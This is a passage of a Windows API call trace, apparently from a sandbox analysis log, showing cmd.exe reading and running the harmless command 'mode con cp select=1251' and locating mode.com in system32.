0xe8 [0195.030] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.031] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.031] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0195.031] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.031] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.031] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.031] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0195.031] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.031] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.032] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0195.032] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.032] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.032] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.032] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0195.032] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.032] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.033] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.033] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0195.033] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.033] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.033] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.033] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0195.033] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.033] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.034] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.034] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0195.034] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.035] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.035] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.035] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0195.035] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.035] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.035] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.035] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0195.035] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.036] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.036] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.036] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0195.036] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.036] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.036] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.037] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0195.037] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.037] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.037] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.037] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0195.037] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.037] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.038] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.038] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0195.038] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.038] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.038] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.038] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0195.038] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.038] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.039] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.039] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0195.039] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.039] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.039] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.039] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0195.039] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.039] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.040] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.040] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0195.040] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.040] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.040] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.040] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0195.040] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.041] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.041] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.041] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0195.041] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.041] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.041] ReadFile (in: hFile=0xe8, lpBuffer=0x4a1fc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesRead=0x2cfad8*=0x1, lpOverlapped=0x0) returned 1 [0195.041] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a1fc320, cbMultiByte=1, lpWideCharStr=0x4a1fe34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0195.043] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.044] GetFileType (hFile=0xe8) returned 0x3 [0195.044] _get_osfhandle (_FileHandle=0) returned 0xe8 [0195.044] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.044] _get_osfhandle (_FileHandle=1) returned 0xf4 [0195.044] GetFileType (hFile=0xf4) returned 0x3 [0195.044] _get_osfhandle (_FileHandle=1) returned 0xf4 [0195.044] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a1fc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0195.044] WriteFile (in: hFile=0xf4, lpBuffer=0x4a1fc320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x2cfab8, lpOverlapped=0x0 | out: lpBuffer=0x4a1fc320*, lpNumberOfBytesWritten=0x2cfab8*=0x18, lpOverlapped=0x0) returned 1 [0195.044] GetProcessHeap () returned 0x3f0000 [0195.045] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4012) returned 0x40b310 [0195.045] GetProcessHeap () returned 0x3f0000 [0195.045] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40b310 | out: hHeap=0x3f0000) returned 1 [0195.046] _wcsicmp (_String1="mode", _String2=")") returned 68 [0195.046] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0195.047] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0195.047] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0195.047] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0195.047] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0195.047] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0195.047] GetProcessHeap () returned 0x3f0000 [0195.047] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x409840 [0195.047] GetProcessHeap () returned 0x3f0000 [0195.048] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1a) returned 0x404630 [0195.051] GetProcessHeap () returned 0x3f0000 [0195.051] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x406550 [0195.056] GetConsoleOutputCP () returned 0x1b5 [0196.007] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a1fbfe0 | out: lpCPInfo=0x4a1fbfe0) returned 1 [0196.007] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0196.008] GetConsoleTitleW (in: lpConsoleTitle=0x2cfa70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0196.009] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0196.009] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0196.009] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0196.009] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0196.009] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0196.009] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0196.009] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0196.010] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0196.010] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0196.010] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0196.010] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0196.010] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0196.010] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0196.010] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0196.010] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0196.010] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0196.010] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0196.010] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0196.010] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0196.010] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0196.010] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0196.011] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0196.011] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0196.011] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0196.011] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0196.011] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0196.011] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0196.011] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0196.011] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0196.011] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0196.011] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0196.011] _wcsicmp (_String1="mode", _String2="START") returned -6 [0196.011] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0196.011] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0196.012] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0196.012] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0196.012] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0196.012] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0196.012] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0196.012] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0196.012] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0196.012] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0196.012] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0196.012] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0196.012] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0196.012] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0196.012] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0196.013] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0196.013] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0196.013] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0196.013] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0196.013] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0196.013] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0196.013] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0196.013] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0196.014] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0196.014] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0196.014] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0196.014] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0196.014] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0196.014] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0196.014] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0196.014] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0196.014] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0196.014] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0196.014] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0196.014] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0196.015] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0196.015] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0196.015] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0196.015] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0196.015] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0196.015] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0196.015] _wcsicmp (_String1="mode", _String2="START") returned -6 [0196.015] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0196.015] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0196.015] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0196.015] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0196.016] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0196.016] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0196.016] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0196.016] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0196.016] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0196.016] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0196.016] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0196.016] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0196.016] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0196.018] GetProcessHeap () returned 0x3f0000 [0196.018] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x218) returned 0x40aae0 [0196.018] GetProcessHeap () returned 0x3f0000 [0196.018] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x409900 [0196.019] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0196.019] GetProcessHeap () returned 0x3f0000 [0196.019] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x420) returned 0x40b310 [0196.019] SetErrorMode (uMode=0x0) returned 0x0 [0196.020] SetErrorMode (uMode=0x1) returned 0x0 [0196.020] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x40b320, lpFilePart=0x2cf300 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x2cf300*="system32") returned 0x13 [0196.020] SetErrorMode (uMode=0x0) returned 0x1 [0196.020] GetProcessHeap () returned 0x3f0000 [0196.020] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x40b310, Size=0x42) returned 0x40b310 [0196.020] GetProcessHeap () returned 0x3f0000 [0196.020] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40b310) returned 0x42 [0196.020] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a1ef360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0196.021] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0196.021] GetProcessHeap () returned 0x3f0000 [0196.021] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x104) returned 0x405bb0 [0196.021] GetProcessHeap () returned 0x3f0000 [0196.021] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f8) returned 0x409c60 [0196.043] GetProcessHeap () returned 0x3f0000 [0196.043] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x409c60, Size=0x106) returned 0x409c60 [0196.043] GetProcessHeap () returned 0x3f0000 [0196.043] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x409c60) returned 0x106 [0196.044] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a1ef360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0196.044] GetProcessHeap () returned 0x3f0000 [0196.044] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe8) returned 0x409d80 [0196.044] GetProcessHeap () returned 0x3f0000 [0196.044] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x409d80, Size=0x7e) returned 0x409d80 [0196.044] GetProcessHeap () returned 0x3f0000 [0196.044] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x409d80) returned 0x7e [0196.568] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0196.568] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x2cf070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cf070) returned 0x405cc0 [0196.569] GetProcessHeap () returned 0x3f0000 [0196.569] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x0, Size=0x28) returned 0x404660 [0196.569] FindClose (in: hFindFile=0x405cc0 | out: hFindFile=0x405cc0) returned 1 [0196.569] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x2cf070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cf070) returned 0x405cc0 [0196.570] GetProcessHeap () returned 0x3f0000 [0196.570] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x404660, Size=0x8) returned 0x409950 [0196.570] FindClose (in: hFindFile=0x405cc0 | out: hFindFile=0x405cc0) returned 1 [0196.570] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0196.570] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0196.570] GetConsoleTitleW (in: lpConsoleTitle=0x2cf5c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0196.571] GetProcessHeap () returned 0x3f0000 [0196.571] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21c) returned 0x40b370 [0196.571] GetConsoleTitleW (in: lpConsoleTitle=0x40b380, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0196.571] GetProcessHeap () returned 0x3f0000 [0196.571] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x40b370, Size=0x8a) returned 0x40b370 [0196.572] GetProcessHeap () returned 0x3f0000 [0196.572] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40b370) returned 0x8a 